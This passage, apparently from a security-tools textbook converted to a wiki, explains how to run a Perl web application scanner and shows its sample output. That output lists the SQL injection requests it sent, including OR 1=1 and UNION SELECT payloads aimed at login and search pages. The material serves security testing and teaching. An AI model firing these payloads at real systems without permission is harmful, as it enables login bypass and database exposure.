You use ''extendedScanner.pl'' in virtually the same way in which you use ''simpleScanner.pl''. Like the previous scanner, ''extendedScanner.pl'' requires an input file generated using ''parseLog.pl'', and it supports the same options. For reference, here is some sample output from the scanner:

** Extended Web Application Scanner **

** Beginning Scan **
..........
ALERT: Directory Listing Detected:
=> GET /images/
....
ALERT: Database Error Message Detected:
=> POST /search.asp?cat=te'st&searchstring=
..
ALERT: Possible SQL Injection Exploit:
=> POST /search.asp?cat=1'%20OR%201%3D1--&searchstring=
.................
ALERT: Possible SQL Injection Exploit:
=> POST /search.asp?cat=1'%20UNION%20ALL%20SELECT%20CONVERT(INT,1),CONVERT(INT,1),
CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT
(VARCHAR,1)%20FROM%20MASTER..SYSDATABASES--&searchstring=
.......
ALERT: 500 Error Code Detected:
=> GET /template.asp?content=te'st
........................
ALERT: Generic Error Message Detected:
=> POST /login.asp?txtUsername=te'st&txtPassword=password&action=login&
session=1
..
ALERT: Possible SQL Injection Exploit:
=> POST /login.asp?txtUsername=1'%20OR%201%3D1--&txtPassword=password&
action=login&session=1
..................................
ALERT: Possible SQL Injection Exploit:
=> POST /login.asp?txtUsername=1'%20UNION%20ALL%20SELECT%20CONVERT(INT,1),
CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(INT,1),CONVERT(VARCHAR,1),
CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(INT,1),
CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),CONVERT(VARCHAR,1),
CONVERT(VARCHAR,1),CONVERT(VARCHAR,1)%20FROM%20MASTER..SYSDATABASES--&
txtPassword=password&action=login&session=1
.........................

** Scan Complete **

Network Security Tools/Modifying and Hacking Security Tools/Automated Exploit Tools - Revision history

Docbook2Wiki: Initial conversion from Docbook

Docbook2Wiki: Initial conversion from Docbook